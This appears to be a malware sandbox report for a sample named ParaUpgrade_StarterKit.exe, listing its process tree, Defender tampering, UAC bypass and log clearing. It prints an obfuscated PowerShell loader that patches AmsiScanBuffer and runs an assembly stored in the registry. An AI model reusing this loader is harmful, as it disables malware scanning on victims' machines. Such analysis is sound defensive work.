PID 744 wrote to memory of 964	744	winlogon.exe	9
PID 744 wrote to memory of 2052	744	winlogon.exe	119
PID 744 wrote to memory of 972	744	winlogon.exe	10
PID 744 wrote to memory of 992	744	winlogon.exe	11
PID 744 wrote to memory of 1028	744	winlogon.exe	13
PID 744 wrote to memory of 1104	744	winlogon.exe	14
PID 744 wrote to memory of 1208	744	winlogon.exe	15
PID 744 wrote to memory of 1252	744	winlogon.exe	16
PID 744 wrote to memory of 1260	744	winlogon.exe	17
PID 744 wrote to memory of 1332	744	winlogon.exe	18
PID 744 wrote to memory of 1480	744	winlogon.exe	20
PID 744 wrote to memory of 1552	744	winlogon.exe	22
PID 744 wrote to memory of 1608	744	winlogon.exe	23
PID 744 wrote to memory of 1660	744	winlogon.exe	24
PID 744 wrote to memory of 1720	744	winlogon.exe	25
PID 744 wrote to memory of 1756	744	winlogon.exe	26
PID 744 wrote to memory of 1764	744	winlogon.exe	27
PID 744 wrote to memory of 1960	744	winlogon.exe	28
PID 744 wrote to memory of 2032	744	winlogon.exe	29
PID 744 wrote to memory of 2116	744	winlogon.exe	30
PID 744 wrote to memory of 2124	744	winlogon.exe	31
PID 744 wrote to memory of 2164	744	winlogon.exe	32
PID 744 wrote to memory of 2256	744	winlogon.exe	33
PID 744 wrote to memory of 2328	744	winlogon.exe	34
PID 744 wrote to memory of 2368	744	winlogon.exe	35
PID 744 wrote to memory of 2480	744	winlogon.exe	36
PID 744 wrote to memory of 2548	744	winlogon.exe	37
PID 744 wrote to memory of 2656	744	winlogon.exe	38
PID 744 wrote to memory of 2680	744	winlogon.exe	39
PID 744 wrote to memory of 2812	744	winlogon.exe	40
PID 744 wrote to memory of 2840	744	winlogon.exe	41
PID 744 wrote to memory of 2848	744	winlogon.exe	42
PID 744 wrote to memory of 3004	744	winlogon.exe	43
PID 744 wrote to memory of 2312	744	winlogon.exe	44
PID 744 wrote to memory of 3100	744	winlogon.exe	45
PID 744 wrote to memory of 3212	744	winlogon.exe	47
PID 744 wrote to memory of 3220	744	winlogon.exe	48
PID 744 wrote to memory of 3516	744	winlogon.exe	50
PID 744 wrote to memory of 3636	744	winlogon.exe	51
PID 744 wrote to memory of 3684	744	winlogon.exe	52
PID 744 wrote to memory of 3708	744	winlogon.exe	53
PID 744 wrote to memory of 3724	744	winlogon.exe	54
PID 744 wrote to memory of 3732	744	winlogon.exe	55
PID 744 wrote to memory of 3752	744	winlogon.exe	56
PID 744 wrote to memory of 1120	744	winlogon.exe	57
PID 744 wrote to memory of 828	744	winlogon.exe	58
PID 744 wrote to memory of 4412	744	winlogon.exe	59

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SettingsPageVisibility = "hide:AppAndBrowser,hide:VirusAndThreatProtection"	ParaUpgrade_StarterKit.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:972
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1252
- C:\ProgramData\$PARAGhost\$PARA_Stager\$PARAStager.exe
  "C:\ProgramData\$PARAGhost\$PARA_Stager\$PARAStager.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2052
- - C:\ProgramData\$PARAGhost\$PARA_StarterPack\$PARA_StarterPack.exe
    "C:\ProgramData\$PARAGhost\$PARA_StarterPack\$PARA_StarterPack.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Sets desktop wallpaper using registry
    PID:3468
  - - C:\ProgramData\$PARAGhost\$PARA_FInstaller\$PARA_FInstaller.exe
      "C:\ProgramData\$PARAGhost\$PARA_FInstaller\$PARA_FInstaller.exe" "C:\ProgramData\$PARAGhost\$PARA_StarterPack\install.json"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5408

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:964

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-71a6fe9b-8cd6-471a-a695-3e4420a9664c -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-dea38750-7da0-4458-b9e5-733e144fc6f8 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ff4de9c0-0045-46a5-b78e-ae9f336231bf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-deaf8e4a-4f64-4772-b858-75d26389b1b2 -LifetimeId:9c77d40d-dffa-4bc5-a333-9e67dee6db9d -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1960
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1524
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2216
  - - C:\Users\Admin\AppData\Local\Temp\ParaUpgrade_StarterKit.exe
      "C:\Users\Admin\AppData\Local\Temp\ParaUpgrade_StarterKit.exe"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:5872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ctl.ps1" tp off
        5⤵
        UAC bypass
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4952
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cjkwnrw5\cjkwnrw5.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4600
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB174.tmp" "c:\Users\Admin\AppData\Local\Temp\cjkwnrw5\CSCF403666D5C0F41FC82788390729D23F.TMP"
        7⤵
        
        PID:1112
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKCU\Software\Temp /v WinDefCtl_Warmed /t REG_DWORD /d 1 /f
        6⤵
        Modifies registry key
        
        PID:3456
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c gpupdate /force
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4840
      - C:\Windows\system32\gpupdate.exe
        
        gpupdate /force
        6⤵
        
        PID:576
    - - C:\Users\Admin\AppData\Local\Temp\srvUtil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\srvUtil.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2716
      - C:\Users\Admin\AppData\Local\Temp\srvUtil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\srvUtil.exe"
        6⤵
        Executes dropped EXE
        
        PID:5296
      - C:\Users\Admin\AppData\Local\Temp\srvUtil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\srvUtil.exe"
        6⤵
        Executes dropped EXE
        
        PID:548
      - C:\Users\Admin\AppData\Local\Temp\srvUtil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\srvUtil.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:400
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 1096
        6⤵
        Program crash
        
        PID:6024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:2124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2656
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000270;0000000000000274;
  2⤵
  PID:4776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:3004

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3220

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4412

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Checks processor information in registry
PID:4480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4680

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4808

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5156

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:5272

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:5820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4452

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3300

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4704

C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
"C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:2052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:5392

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:4196

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Enumerates system info in registry
PID:3120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:3352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4160

C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
"C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:5020

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:EtDDHgRIgsKT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gPsAIXUfffiPKG,[Parameter(Position=1)][Type]$prGeqMgkWq)$bjfpfthMneN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+'dD'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+'m'+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+'y'+'p'+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+[Char](115)+'s,Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+'A'+'n'+'s'+'i'+'C'+'l'+''+'a'+''+'s'+''+[Char](115)+','+'A'+'u'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+'',[MulticastDelegate]);$bjfpfthMneN.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+'e'+'c'+'i'+'a'+'lN'+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gPsAIXUfffiPKG).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'ime,Ma'+[Char](110)+'age'+'d'+'');$bjfpfthMneN.DefineMethod(''+[Char](73)+'n'+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+'e'+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$prGeqMgkWq,$gPsAIXUfffiPKG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'im'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $bjfpfthMneN.CreateType();}$vrYDobIOQgRAt=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+'dl'+[Char](108)+'')}).GetType('Mi'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n'+'3'+''+[Char](50)+'.'+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+'Me'+'t'+'ho'+[Char](100)+'s');$oVLwYUCQGiqPfi=$vrYDobIOQgRAt.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'Pr'+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+'ta'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tjYKTEPpEWSdMXfwDbT=EtDDHgRIgsKT @([String])([IntPtr]);$ttTtBzxPfySVBflCtDYAAi=EtDDHgRIgsKT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PvyVyeHirlp=$vrYDobIOQgRAt.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+'o'+'d'+'u'+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$hJfGLpykKniTkh=$oVLwYUCQGiqPfi.Invoke($Null,@([Object]$PvyVyeHirlp,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+'i'+''+'b'+'r'+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$sgyaMulMemmGcdYVI=$oVLwYUCQGiqPfi.Invoke($Null,@([Object]$PvyVyeHirlp,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'P'+[Char](114)+'o'+'t'+''+[Char](101)+'c'+[Char](116)+'')));$SVRaLaz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hJfGLpykKniTkh,$tjYKTEPpEWSdMXfwDbT).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+'.'+''+'d'+''+'l'+''+'l'+'');$xACaTJyctSoTVGWks=$oVLwYUCQGiqPfi.Invoke($Null,@([Object]$SVRaLaz,[Object](''+'A'+''+[Char](109)+'si'+[Char](83)+''+'c'+'a'+'n'+''+[Char](66)+'u'+'f'+'f'+'e'+''+'r'+'')));$hrRtQNwDHM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sgyaMulMemmGcdYVI,$ttTtBzxPfySVBflCtDYAAi).Invoke($xACaTJyctSoTVGWks,[uint32]8,4,[ref]$hrRtQNwDHM);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](56+81),[Byte](129+63),[Byte](105+79),[Byte](179-92),[Byte](65-65),[Byte](62-55),[Byte](123+5),[Byte](143-6),[Byte](206+4),[Byte](145+50),[Byte](23+114),[Byte](207+12)),0,$xACaTJyctSoTVGWks,247-235);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sgyaMulMemmGcdYVI,$ttTtBzxPfySVBflCtDYAAi).Invoke($xACaTJyctSoTVGWks,[uint32]8,0x20,[ref]$hrRtQNwDHM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+'$'+''+'P'+''+[Char](65)+''+[Char](82)+'As'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:EtDDHgRIgsKT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gPsAIXUfffiPKG,[Parameter(Position=1)][Type]$prGeqMgkWq)$bjfpfthMneN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+'dD'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+'m'+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+'y'+'p'+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+[Char](115)+'s,Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+'A'+'n'+'s'+'i'+'C'+'l'+''+'a'+''+'s'+''+[Char](115)+','+'A'+'u'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+'',[MulticastDelegate]);$bjfpfthMneN.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+'e'+'c'+'i'+'a'+'lN'+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gPsAIXUfffiPKG).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'ime,Ma'+[Char](110)+'age'+'d'+'');$bjfpfthMneN.DefineMethod(''+[Char](73)+'n'+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+'e'+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$prGeqMgkWq,$gPsAIXUfffiPKG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'im'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $bjfpfthMneN.CreateType();}$vrYDobIOQgRAt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 